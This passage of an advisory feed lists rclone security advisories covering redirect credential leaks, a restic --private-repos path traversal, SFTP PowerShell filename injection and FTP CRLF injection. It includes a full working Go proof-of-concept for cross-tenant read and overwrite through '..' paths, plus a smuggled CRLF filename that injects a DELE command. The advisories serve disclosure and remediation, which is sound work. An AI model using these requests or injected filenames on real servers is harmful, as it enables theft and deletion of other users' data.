via []*http.Request) bool {\n\tif len(via) == 0 {\n\t\treturn false\n\t}\n\thost := via[0].URL.Host\n\tfor _, redirect := range via[1:] {\n\t\tif redirect.URL.Host != host {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn host != req.URL.Host\n}\n```\n\n### Recommended Fix\nAlso compare `URL.Scheme`, so a scheme downgrade on the same host is treated\nthe same as a host change:\n\n```go\nfunc s3RedirectCrossesHost(req *http.Request, via []*http.Request) bool {\n\tif len(via) == 0 {\n\t\treturn false\n\t}\n\tscheme, host := via[0].URL.Scheme, via[0].URL.Host\n\tfor _, redirect := range via[1:] {\n\t\tif redirect.URL.Host != host || redirect.URL.Scheme != scheme {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn host != req.URL.Host || scheme != req.URL.Scheme\n}\n```\n\n### Verification\nAdded a unit test (`backend/s3/redirect_scheme_test.go`) that calls the real,\nunmodified `s3RedirectCrossesHost` / `s3CheckRedirect` with an\n`https://bucket.example.com` -\u003e `http://bucket.example.com` redirect chain.\n\nOn unpatched code (commit 16091ce365, current master / v1.74.3):\n- `s3RedirectCrossesHost` returns `false`\n- `s3CheckRedirect` leaves `X-Amz-Security-Token: SECRET-SESSION-TOKEN`\n  intact on the outgoing (plaintext) request.\n\n```\n=== RUN   TestSchemeDowngradeNotDetectedAsCrossHost\n    redirect_scheme_test.go:23: initial=https://bucket.example.com final=http://bucket.example.com s3RedirectCrossesHost=false\n--- PASS: TestSchemeDowngradeNotDetectedAsCrossHost (0.00s)\n```\n\nAfter applying the one-line fix above (also adding scheme comparison), the\ntoken is correctly stripped and all existing redirect tests\n(`TestClientRemovesSecurityTokenOnCrossHostRedirect`,\n`TestClientDoesNotRestoreSecurityTokenAfterCrossHostRedirect`,\n`TestClientKeepsSecurityTokenOnSameHostRedirect`,\n`TestClientStopsAfterTenRedirects`) continue to pass.\n\nA minimal fix commit is ready and can be pushed to a private fork once this\nreport is acknowledged.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-08-05T20:43:11.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":3.1,"cvss_vector":"CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N","references":["https://github.com/rclone/rclone/security/advisories/GHSA-gx4c-2hqx-cw2r","https://github.com/rclone/rclone/commit/1a28451ea6fc8ac1806b0e9923dcb5b3f543f7fa","https://github.com/rclone/rclone/releases/tag/v1.74.4","https://github.com/advisories/GHSA-gx4c-2hqx-cw2r"],"source_kind":"github","identifiers":["GHSA-gx4c-2hqx-cw2r"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-05T21:00:08.571Z","updated_at":"2026-09-07T05:00:35.897Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1neDRjLTJocXgtY3cycs4ABhhA","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1neDRjLTJocXgtY3cycs4ABhhA","packages":[{"ecosystem":"go","package_name":"github.com/rclone/rclone","versions":[{"first_patched_version":"1.74.4","vulnerable_version_range":"\u003c= 1.74.3"}],"purl":"pkg:go/github.com%2Frclone%2Frclone"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1neDRjLTJocXgtY3cycs4ABhhA/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mcWo5LTY5cGYtNnBqZ84ABhg_","url":"https://github.com/advisories/GHSA-fqj9-69pf-6pjg","title":"rclone `serve restic --private-repos` authorization bypass: `..` in the URL path lets an authenticated user read, overwrite and delete other users' repositories","description":"## Summary\n\n`rclone serve restic --private-repos` exists to let one rclone instance host many users' restic backup repositories behind HTTP Basic auth while keeping each user confined to a path prefix of `/\u003cusername\u003e/`. The documentation states the flag \"can be used to limit users to repositories starting with a path of `/\u003cusername\u003e/`\", and the shipped test `TestResticPrivateRepositories` asserts that user `test` may reach `/test/config` but is `403`-blocked from `/other_user/config`. This isolation is the entire security purpose of the flag.\n\nThe isolation is enforced by two independent chi middlewares that derive the username and the backend object path from two *different* sources, and the path source is never canonicalized. `checkPrivate` authorizes the request by comparing the routed `{userID}` path segment against the authenticated user, while `WithRemote` builds the backend object key from the raw, un-cleaned URL path. A request such as `GET /\u003cme\u003e/../\u003cvictim\u003e/config` keeps the first path segment equal to the attacker's own username (so `checkPrivate` returns the request as authorized) yet hands the backend the literal remote `me/../victim/config`. On any backend that resolves object paths with POSIX `path.Join`/`path.Clean` semantics — which includes the bundled `memory` backend used in the PoC below, and the widely deployed `sftp` and `ftp` backends — that `..` segment collapses, and the operation is performed against the victim's object.\n\nBecause the same un-cleaned remote feeds the `GET` (download), `POST` (upload/overwrite) and `DELETE` handlers, any authenticated user can read, overwrite, and delete the files of any other user's private repository hosted on the same server. For restic that means reading another tenant's `config`/`keys` metadata and pack files, corrupting their repository, or deleting their backups outright (subject to `--append-only`, which still permits cross-tenant reads).\n\n## Affected code (v1.74.3, commit `37e4117…`)\n\n`cmd/serve/restic/restic.go`. The two middlewares disagree on what \"the path\" is. `checkPrivate` reads the chi route param `userID`:\n\n```go\n// Middleware to ensure authenticated user is accessing their own private folder\nfunc checkPrivate(next http.Handler) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tuser := chi.URLParam(r, \"userID\")\n\t\tuserID, ok := libhttp.CtxGetUser(r.Context())\n\t\tif ok \u0026\u0026 user != \"\" \u0026\u0026 user == userID {\n\t\t\tnext.ServeHTTP(w, r)\n\t\t} else {\n\t\t\thttp.Error(w, http.StatusText(http.StatusForbidden), http.StatusForbidden)\n\t\t}\n\t})\n}\n```\n\n`WithRemote` builds the backend object key from the raw URL path with **no `path.Clean`** and no `..` rejection (the only transformation is the unrelated `data/xx` sharding rewrite):\n\n```go\nfunc WithRemote(next http.Handler) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tvar urlpath string\n\t\trctx := chi.RouteContext(r.Context())\n\t\tif rctx != nil \u0026\u0026 rctx.RoutePath != \"\" {\n\t\t\turlpath = rctx.RoutePath\n\t\t} else {\n\t\t\turlpath = r.URL.Path\n\t\t}\n\t\turlpath = strings.Trim(urlpath, \"/\")\n\t\tparts := matchData.FindStringSubmatch(urlpath)\n\t\t// ... data/2159dd48 -\u003e data/21/2159dd48 sharding only ...\n\t\tctx := context.WithValue(r.Context(), ContextRemoteKey, urlpath)\n\t\tnext.ServeHTTP(w, r.WithContext(ctx))\n\t})\n}\n```\n\nRoute wiring (`Bind`): the auth-bearing `{userID}` segment is matched by chi for `checkPrivate`, but the catch-all `/*` that `WithRemote` reads keeps the literal `..`:\n\n```go\nif s.opt.PrivateRepos {\n\trouter.Route(\"/{userID}\", func(r chi.Router) {\n\t\tr.Use(checkPrivate)\n\t\ts.bind(r)\n\t})\n\t...\n}\n```\n\nThe remote stored by `WithRemote` is then used verbatim by the object handlers, e.g. `serveObject` → `s.newObject(ctx, remote)` → `s.f.NewObject(ctx, remote)`, `postObject` → `operations.RcatSize(..., remote, ...)`, and `deleteObject` → `o.Remove(...)`. For a request `GET /test/../victim/config`, instrumentation shows `checkPrivate` observing `userIDparam=\"test\"` (authorized) while the object remote is `\"test/../victim/config\"` — the desync is exact.\n\n## Attacker model / precondition\n\nThe attacker is a low-privileged but **legitimately authenticated** user of the server: they hold valid HTTP Basic credentials for their own private repo (this is the normal multi-tenant deployment the flag is designed for — e.g. a hosting provider giving each customer a restic endpoint). No victim interaction is required.\n\nPreconditions: (1) the operator runs `rclone serve restic` with `--private-repos` and authentication configured (the documented multi-tenant setup); and (2) the served backend resolves object paths with POSIX `path.Join`/`path.Clean` semantics so the `..` collapses before the object is located. This holds for the bundled `memory` backend (used in the self-contained PoC), and for the commonly deployed `sftp` and `ftp` backends, whose object path is computed as `path.Join(f.absRoot, remote)` (`backend/sftp/sftp.go`, `o.path()`), which canonicalizes `..`. It does **not** hold for the `local` backend (which deliberately re-encodes `.`/`..` path components to fullwidth characters in `cleanRootPath`/`localPath`, neutralizing traversal), and S3-style backends treat keys as opaque so a literal `..` key normally will not match a victim object — so impact is backend-dependent. That backend-dependence is itself the defect: the cross-user authorization boundary must be enforced at the HTTP layer and must not silently rely on a particular backend's incidental path handling.\n\n## Impact\n\nAcross the per-user trust boundary that `--private-repos` is meant to enforce, any authenticated user can, against any other user's repository on the same server:\n\n- **Read** (`GET`): download the victim's restic `config` and `keys/*` files and pack/index objects — full confidentiality break of the victim's repository metadata and stored blobs. (Restic encrypts pack contents client-side, but the repository config, key files, snapshot/index structure and object existence all leak, and the master key is recoverable offline by anyone who also knows the victim's restic password — i.e. this removes the server-side isolation that was the only barrier.)\n- **Overwrite** (`POST`): replace the victim's objects with attacker-chosen content, corrupting or poisoning their backups. Blocked only if `--append-only` is set.\n- **Delete** (`DELETE`): remove the victim's repository objects, destroying their backups. Blocked only if `--append-only` is set (which still allows the read primitive).\n\nThis is a complete bypass of the multi-tenant isolation control, hence C:H/I:H/A:H, gated to PR:L by the need for a valid own-account.\n\n## Proof of Concept (complete — runs on 127.0.0.1 only)\n\nLab-only. This is a single self-contained Go test placed inside the rclone source tree; it starts an in-process restic server on a loopback `httptest` listener backed by the bundled in-memory backend (which has the same `path.Join` key semantics as the sftp/ftp backends), then sends **raw**, un-normalized HTTP request-targets over a TCP socket (so the `..` is not collapsed client-side). It proves: (1) a user reads their own object — `200`; (2) a direct cross-tenant request is correctly blocked — `403`; (3) the `..` bypass reads the victim's secret — `200` + leak; (4) the same bypass overwrites the victim's object — `200`.\n\nReproduce against the exact vulnerable tag:\n\n```console\ngit clone --depth 1 --branch v1.74.3 https://github.com/rclone/rclone\ncd rclone\n# write the test file shown below to cmd/serve/restic/zzz_poc_test.go\ngo test ./cmd/serve/restic/ -run TestPrivateRepoCrossTenantPoC -v\n```\n\n`cmd/serve/restic/zzz_poc_test.go`:\n\n```go\npackage restic\n\nimport (\n\t\"bufio\"\n\t\"context\"\n\t\"encoding/base64\"\n\t\"fmt\"\n\t\"net\"\n\t\"net/http/httptest\"\n\t\"strings\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/rclone/rclone/fs\"\n\t\"github.com/rclone/rclone/fs/config/configfile\"\n\t\"github.com/rclone/rclone/fs/object\"\n\t\"github.com/rclone/rclone/lib/random\"\n\t\"github.com/stretchr/testify/require\"\n\n\t_ \"github.com/rclone/rclone/backend/memory\"\n)\n\nfunc pocBasicAuth(user, pass string) string {\n\treturn base64.StdEncoding.EncodeToString([]byte(user + \":\" + pass))\n}\n\n// rawReq sends a raw HTTP/1.1 request with an arbitrary (un-normalized)\n// request-target + method + Basic auth, returning the full raw response.\nfunc rawReq(t *testing.T, addr, method, target, user, pass string) string {\n\tconn, err := net.Dial(\"tcp\", addr)\n\trequire.NoError(t, err)\n\tdefer func() { _ = conn.Close() }()\n\tcred := pocBasicAuth(user, pass)\n\treq := fmt.Sprintf(\"%s %s HTTP/1.1\\r\\nHost: x\\r\\nAuthorization: Basic %s\\r\\nConnection: close\\r\\n\\r\\n\", method, target, cred)\n\t_, err = conn.Write([]byte(req))\n\trequire.NoError(t, err)\n\tr := bufio.NewReader(conn)\n\tvar sb strings.Builder\n\tbuf := make([]byte, 8192)\n\tfor {\n\t\tn, err := r.Read(buf)\n\t\tif n \u003e 0 {\n\t\t\tsb.Write(buf[:n])\n\t\t}\n\t\tif err != nil {\n\t\t\tbreak\n\t\t}\n\t}\n\treturn sb.String()\n}\n\nfunc pocBody(resp string) string {\n\tif idx := strings.Index(resp, \"\\r\\n\\r\\n\"); idx \u003e= 0 {\n\t\treturn resp[idx+4:]\n\t}\n\treturn \"\"\n}\nfunc pocStatus(resp string) string { return strings.SplitN(resp, \"\\r\\n\", 2)[0] }\n\n// TestPrivateRepoCrossTenantPoC demonstrates the --private-repos authz bypass\n// on a bucket-style backend (memory: same path.Join semantics as sftp/ftp).\nfunc TestPrivateRepoCrossTenantPoC(t *testing.T) {\n\tconfigfile.Install()\n\tctx := context.Background()\n\n\t// Bucket-style backend shared by all private-repo users.\n\tf, err := fs.NewFs(ctx, \":memory:repos\")\n\trequire.NoError(t, err)\n\n\tput := func(remote, content string) {\n\t\tinfo := object.NewStaticObjectInfo(remote, time.Now(), int64(len(content)), true, nil, f)\n\t\t_, perr := f.Put(ctx, strings.NewReader(content), info)\n\t\trequire.NoError(t, perr)\n\t}\n\n\t// Victim \"alice\" uploads her restic config under her own private prefix.\n\tsecret := \"ALICE-PRIVATE-RESTIC-CONFIG-\" + random.String(8)\n\tput(\"alice/config\", secret)\n\n\t// Attacker \"mallory\" has her own valid account on the same server.\n\tput(\"mallory/config\", \"mallory-own-config\")\n\n\topt := newOpt()\n\topt.PrivateRepos = true\n\topt.Auth.BasicUser = \"mallory\"\n\topt.Auth.BasicPass = \"password\"\n\topt.HTTP.ListenAddr = nil\n\n\ts, err := newServer(ctx, f, \u0026opt)\n\trequire.NoError(t, err)\n\tts := httptest.NewServer(s.server.Router())\n\tdefer ts.Close()\n\taddr := strings.TrimPrefix(ts.URL, \"http://\")\n\n\t// 1. Sanity: mallory reads her own config -\u003e 200.\n\tr1 := rawReq(t, addr, \"GET\", \"/mallory/config\", \"mallory\", \"password\")\n\tt.Logf(\"[own]            GET /mallory/config              -\u003e %s  body=%q\", pocStatus(r1), pocBody(r1))\n\n\t// 2. Direct cross-tenant attempt is correctly blocked by checkPrivate -\u003e 403.\n\tr2 := rawReq(t, addr, \"GET\", \"/alice/config\", \"mallory\", \"password\")\n\tt.Logf(\"[direct-blocked] GET /alice/config               -\u003e %s  body=%q\", pocStatus(r2), pocBody(r2))\n\n\t// 3. THE BYPASS: dot-dot in the trailing path keeps userID==mallory so\n\t//    checkPrivate passes, but the object remote collapses to alice/config.\n\tr3 := rawReq(t, addr, \"GET\", \"/mallory/../alice/config\", \"mallory\", \"password\")\n\tleaked := strings.Contains(pocBody(r3), secret)\n\tt.Logf(\"[BYPASS]         GET /mallory/../alice/config     -\u003e %s  leaked=%v body=%q\", pocStatus(r3), leaked, pocBody(r3))\n\n\trequire.Equalf(t, \"HTTP/1.1 200 OK\", pocStatus(r3), \"expected the bypass to return alice's object\")\n\trequire.Truef(t, leaked, \"expected to read alice's secret config across the tenant boundary\")\n\n\t// 4. Write bypass too: mallory overwrites alice's object (append-only off).\n\tr4 := rawReq(t, addr, \"POST\", \"/mallory/../alice/config\", \"mallory\", \"password\")\n\tt.Logf(\"[BYPASS-write]   POST /mallory/../alice/config    -\u003e %s\", pocStatus(r4))\n}\n```\n\nObserved output (v1.74.3 and master HEAD):\n\n```text\n=== RUN   TestPrivateRepoCrossTenantPoC\n    zzz_poc_test.go: [own]            GET /mallory/config              -\u003e HTTP/1.1 200 OK  body=\"mallory-own-config\"\n    zzz_poc_test.go: [direct-blocked] GET /alice/config               -\u003e HTTP/1.1 403 Forbidden  body=\"Forbidden\\n\"\n    zzz_poc_test.go: [BYPASS]         GET /mallory/../alice/config     -\u003e HTTP/1.1 200 OK  leaked=true body=\"ALICE-PRIVATE-RESTIC-CONFIG-sijejif0\"\n    zzz_poc_test.go: [BYPASS-write]   POST /mallory/../alice/config    -\u003e HTTP/1.1 200 OK\n--- PASS: TestPrivateRepoCrossTenantPoC (0.00s)\nPASS\nok  \tgithub.com/rclone/rclone/cmd/serve/restic\t0.022s\n```\n\nThe shipped `TestResticPrivateRepositories` continues to pass alongside this PoC, confirming the intended isolation model (own `200`, direct cross-tenant `403`) is exactly what the `..` request defeats. Note the bypass is delivered as a raw request-target over the socket; a stock browser or `net/http` client would canonicalize the `..` before sending, but `curl --path-as-is`, restic's own REST client, or any raw socket write preserves it.\n\n## Remediation\n\nEnforce the per-user boundary on a canonicalized path, and make the authorized segment and the backend remote derive from the *same* cleaned value:\n\n- In `WithRemote` (or before `checkPrivate` runs), reject or `path.Clean` the request path and refuse any path containing a `..` element after a leading-slash trim — e.g. compute `cleaned := path.Clean(\"/\" + strings.Trim(urlpath, \"/\"))` and `403`/`400` if `cleaned` differs from the original or still contains a `..` segment. Then store `cleaned` (minus the leading slash) as the remote so the object key and the authorization decision are computed from one source of truth.\n- Additionally, in `checkPrivate`, verify that the (cleaned) object remote actually has the authenticated user's name as its first path segment, rather than trusting the chi `{userID}` route param in isolation: `require strings.HasPrefix(cleanedRemote, userID+\"/\") || cleanedRemote == userID`.\n- Defense in depth: the restic server should canonicalize and `..`-reject incoming object paths even when `--private-repos` is off, so that no backend is relied upon to neutralize traversal.\n\nPlease credit 5ud0 / Tarmo Technologies.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-05T20:41:22.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/rclone/rclone/security/advisories/GHSA-fqj9-69pf-6pjg","https://nvd.nist.gov/vuln/detail/CVE-2026-59733","https://github.com/rclone/rclone/commit/015fd0eba1cb138eef081517795fed47a2873f2d","https://github.com/rclone/rclone/commit/dade21c1616035b044df0eef7ee6a85aeb06a139","https://github.com/rclone/rclone/releases/tag/v1.74.4","https://github.com/advisories/GHSA-fqj9-69pf-6pjg"],"source_kind":"github","identifiers":["GHSA-fqj9-69pf-6pjg","CVE-2026-59733"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-05T21:00:08.571Z","updated_at":"2026-09-07T05:00:35.897Z","epss_percentage":0.00497,"epss_percentile":0.40506,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mcWo5LTY5cGYtNnBqZ84ABhg_","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mcWo5LTY5cGYtNnBqZ84ABhg_","packages":[{"ecosystem":"go","package_name":"github.com/rclone/rclone","versions":[{"first_patched_version":"1.74.4","vulnerable_version_range":"\u003c= 1.74.3"}],"purl":"pkg:go/github.com%2Frclone%2Frclone"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mcWo5LTY5cGYtNnBqZ84ABhg_/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0ybThtLWpocm0tdzZqMs4ABhgy","url":"https://github.com/advisories/GHSA-2m8m-jhrm-w6j2","title":"rclone: PowerShell Smart-Quote Filename Injection Enables SFTP Server-Side Command Execution","description":"## 1. Summary\n\nrclone interpolates remote SFTP paths into PowerShell hash commands. Its quoting helper escapes only ASCII apostrophe, although PowerShell accepts four Unicode smart quotes as single-quote delimiters. An attacker-controlled filename can therefore terminate the intended path literal and append PowerShell statements executed as the victim's SSH account.\n\n## 2. Affected Assets \u0026 Attack Surface\n\n- Audited commit: `a0c09f1381ae93e2a9a33c529d170186c61ad058`\n- Backend: `backend/sftp`\n- Relevant code:\n  - `backend/sftp/sftp.go:1802-1812` — PowerShell hash commands\n  - `backend/sftp/sftp.go:1663-1699` — `Fs.run`\n  - `backend/sftp/sftp.go:1988-2067` — `Object.Hash`\n  - `backend/sftp/sftp.go:2071-2090` — `quoteOrEscapeShellPath`\n- Exposed input: remote filename controlled by an SFTP collaborator, upstream storage source, or other party able to create or rename files.\n- Required execution context: PowerShell as the SSH command shell, SSH exec enabled, and server-side hashing invoked.\n\n## 3. Technical Root Cause Analysis\n\nFor PowerShell, `quoteOrEscapeShellPath` wraps a path in ASCII apostrophes and doubles only `U+0027`:\n\n```go\nreturn \"'\" + strings.ReplaceAll(shellPath, \"'\", \"''\") + \"'\", nil\n```\n\nWindows PowerShell also treats `U+2018`, `U+2019`, `U+201A`, and `U+201B` as single-quote delimiters. Those characters pass through the rclone encoder and can close the quoted path. The completed string is sent as shell source through an SSH exec request.\n\nThe security boundary fails because shell syntax is constructed by string concatenation rather than passing data through a non-code channel.\n\n## 4. Proof-of-Concept \u0026 Evidence\n\n- Each of the four Unicode smart quotes was passed through the production quoting function and used to terminate the path literal.\n- A harmless injected `Set-Content` statement created a marker file.\n- The stronger test invoked the exact production `Object.Hash` path and MD5 PowerShell command against a fake SSH session backed by local PowerShell.\n- A valid prefix file allowed `Get-FileHash` to complete; the appended statement then executed.\n- The filename used only characters permitted by Windows filesystems and did not depend on slash, colon, pipe, or ASCII apostrophe.\n- The focused test passed normally and under Go's race detector.\n\nReproduction outline:\n\n1. Configure an SFTP remote whose command shell is PowerShell.\n2. Enable or autodetect the PowerShell hash command.\n3. Place a file whose name contains a smart quote followed by a harmless marker-writing statement and PowerShell comment syntax.\n4. Trigger an rclone operation that calculates the remote hash.\n5. Observe the marker created with the SSH account's permissions.\n\n## 5. Impact Assessment\n\nSuccessful exploitation provides arbitrary command execution as the victim's SSH account. This can permit file theft, modification, deletion, credential access, persistence, and lateral movement allowed by that account.\n\nThe attacker needs filename-control capability but does not need the victim's SSH credentials or an interactive shell. The rclone user's hash operation supplies the execution step.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-05T20:37:56.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.0,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","references":["https://github.com/rclone/rclone/security/advisories/GHSA-2m8m-jhrm-w6j2","https://github.com/rclone/rclone/commit/e122fba1a57641b63a580aa26c026903a84e2e88","https://github.com/rclone/rclone/releases/tag/v1.75.0","https://github.com/advisories/GHSA-2m8m-jhrm-w6j2"],"source_kind":"github","identifiers":["GHSA-2m8m-jhrm-w6j2","CVE-2026-71312"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-05T21:00:08.571Z","updated_at":"2026-09-07T05:00:35.898Z","epss_percentage":0.00276,"epss_percentile":0.19549,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0ybThtLWpocm0tdzZqMs4ABhgy","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0ybThtLWpocm0tdzZqMs4ABhgy","packages":[{"ecosystem":"go","package_name":"github.com/rclone/rclone","versions":[{"first_patched_version":"1.75.0","vulnerable_version_range":"\u003c= 1.74.4"}],"purl":"pkg:go/github.com%2Frclone%2Frclone"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0ybThtLWpocm0tdzZqMs4ABhgy/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1oNG1mLTR2MjctaGdnas4ABhgu","url":"https://github.com/advisories/GHSA-h4mf-4v27-hggj","title":"rclone: WebDAV Credentials Survive a Same-Host HTTPS-to-HTTP Redirect","description":"## 1. Summary\n\nWebDAV's default redirect handling can replay Basic authorization and configured Cookie headers over plaintext HTTP after a same-host HTTPS-to-HTTP redirect. This was reproduced through the real backend. Unlike the low-impact STS token in rclone's published S3 redirect advisory, Basic passwords and session cookies are complete reusable credentials, supporting a High rating when they grant normal WebDAV read/write access.\n\nThe credible threat requires a legitimate endpoint, gateway, or accelerator to emit an unsafe redirect and an adjacent/on-path actor to observe the plaintext hop. A report should not rely on a malicious original WebDAV endpoint because that endpoint already receives the credentials.\n\n## 2. Affected Assets \u0026 Attack Surface\n\n- Backend configuration/authentication: `backend/webdav/webdav.go:127-139`, `170-206`, `440-530`\n- Shared redirect callback: `lib/rest/rest.go:218-231`\n- HTTP client: `fs/fshttp/http.go:311-329`\n- Credentials: Basic passwords, bearer authorization, SharePoint/session cookies, and configured secret headers\n- Confirmed affected version: `\u003c= v1.74.0-240`\n\n## 3. Technical Root Cause Analysis\n\n`PreserveMethodRedirectFn` limits redirect count and restores the original method, but it does not reject a transport downgrade or compare the full origin tuple. The client therefore relies on Go's hostname-oriented sensitive-header forwarding rules. Those rules can preserve `Authorization` and Cookie on a same-host redirect even when the new scheme is plaintext HTTP.\n\n## 4. Proof-of-Concept \u0026 Evidence\n\n1. Configure the actual WebDAV backend with Basic credentials and a Cookie.\n2. Have the TLS endpoint return `307 Temporary Redirect` to an HTTP listener on the same hostname and a different port.\n3. rclone follows the redirect while preserving the WebDAV method.\n4. The plaintext listener receives both the Basic `Authorization` value and Cookie.\n\n## 5. Impact Assessment\n\nAn on-path observer can reuse the captured password, bearer token, or session cookie for the account's permitted WebDAV operations. Confidentiality, integrity, and availability impact depend on that account's permissions.\n\n## 6. Remediation Guidance\n\n- Reject every HTTPS-to-HTTP redirect before replay.\n- Forward authenticated requests by default only when scheme, hostname, and effective port are unchanged.\n- Strip authorization, cookies, proxy credentials, and configured secret headers on all other redirects.\n- Put necessary provider exceptions behind exact destination allowlists.\n- Cover `301`, `302`, `303`, `307`, and `308` in regression tests.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-08-05T20:36:10.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/rclone/rclone/security/advisories/GHSA-h4mf-4v27-hggj","https://github.com/rclone/rclone/commit/59b513b0e74fd2943ccbb8891d5ce00f860e6d26","https://github.com/rclone/rclone/releases/tag/v1.75.0","https://github.com/advisories/GHSA-h4mf-4v27-hggj"],"source_kind":"github","identifiers":["GHSA-h4mf-4v27-hggj"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-05T21:00:08.571Z","updated_at":"2026-09-07T05:00:35.898Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oNG1mLTR2MjctaGdnas4ABhgu","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1oNG1mLTR2MjctaGdnas4ABhgu","packages":[{"ecosystem":"go","package_name":"github.com/rclone/rclone","versions":[{"first_patched_version":"1.75.0","vulnerable_version_range":"\u003c= 1.74.0"}],"purl":"pkg:go/github.com%2Frclone%2Frclone"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oNG1mLTR2MjctaGdnas4ABhgu/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04YzQ4LXE5d2otM3czN84ABhgp","url":"https://github.com/advisories/GHSA-8c48-q9wj-3w37","title":"rclone: FTP Command Arguments Permit CRLF Injection When Custom Encoding Preserves Newlines","description":"## 1. Summary\n\nA valid but nondefault FTP filename encoding can restore raw CR/LF immediately before an attacker-controlled path is interpolated into the line-oriented FTP control channel. The dependency does not reject CR or LF in command arguments, so a filename can inject an independent authenticated command. A real test server observed the injected `DELE` command.\n\nThe default FTP encoding and the configuration-wizard examples include `Ctl` and are not vulnerable to the demonstrated filename. A manual custom encoding that omits `Ctl`/`CrLf` is mandatory and is reflected as High attack complexity. The credible trust boundary is a lower-trust source namespace feeding a more-privileged FTP destination: if the attacker already has equivalent rights on that destination, the report establishes a bug but no privilege gain. Protocol framing must still be enforced at the command sink because a filename-compatibility encoder is not a safe substitute for command-argument validation.\n\n## 2. Affected Assets \u0026 Attack Surface\n\n- Verified rclone revision: `a0c09f1381ae93e2a9a33c529d170186c61ad058` (`v1.74.0-240-ga0c09f138`)\n- Current-master check: the relevant paths remained present at commit `961266888fe797390c535386f3b3aa46f4853602` on 2026-07-18\n- rclone FTP encoding: `backend/ftp/ftp.go:232-248`, `768-785`\n- Encoder masks/conversion: `lib/encoder/encoder.go:36-68`, `121-152`, `1144-1165`\n- FTP command sinks: `backend/ftp/ftp.go:1071-1173`, `1309-1428`\n- Dependency: `github.com/jlaffaye/ftp@v0.2.1-0.20251026020404-6602e981a1bb`\n- Dependency command formatting: `ftp.go:604-610`, with path-bearing callers at `ftp.go:893-947`, `1010-1026`, and `1069-1080`\n- Preconditions: an attacker can create a filename in a source namespace, the victim copies/syncs it to an FTP destination with greater authority, and that destination uses a manually configured encoding that leaves CR/LF raw\n- Platform note: Unix and some remote backends can supply newline-bearing names; a local Windows source cannot create the demonstrated filename\n\n## 3. Technical Root Cause Analysis\n\nRclone represents control characters safely in its internal Standard encoding. Immediately before an FTP operation, `FromStandardPath` decodes that representation and applies the configured backend mask. If the mask omits `Ctl`/`CrLf`, raw newlines are restored. The dependency then formats the resulting argument onto a CRLF-delimited control stream through `textproto.Conn.Cmd` without validating it. Reversible filename representation is therefore being used as the only protection for a protocol-command boundary.\n\n## 4. Proof-of-Concept \u0026 Evidence\n\nThe source filename was equivalent to:\n\n```text\nvictim\\r\\nDELE other-secret\\r\\nNOOP\n```\n\nWith the default encoding, no raw newline reached the command. With the valid nondefault configuration `encoding = Slash`, `FromStandardPath` restored raw CRLF. During a real FTP path operation, the server parsed `DELE other-secret` as an independent authenticated command. This establishes injection, not merely unsafe serialization. The test did not establish confidentiality impact or operating-system command execution.\n\n## 5. Impact Assessment\n\nInjected commands run with the configured FTP account's permissions. Demonstrated direct impact is deletion of a different path, with corresponding integrity and availability loss inside that account. Other FTP filesystem commands may be reachable, but confidentiality and arbitrary operating-system command execution are not claimed. The privilege-boundary case requires the victim's FTP account to have more authority than the attacker has in the source namespace.\n\n## 6. Remediation Guidance\n\n- Reject CR and LF in every FTP command argument at the lowest command-construction boundary.\n- Apply the check to paths, usernames, passwords, rename arguments, and all other formatted fields.\n- Return an error rather than silently normalizing an unsafe argument.\n- Keep the default encoder protection as defense in depth and reject an FTP encoding configuration that can restore CR/LF.\n- Add end-to-end tests for CR, LF, CRLF, and each path 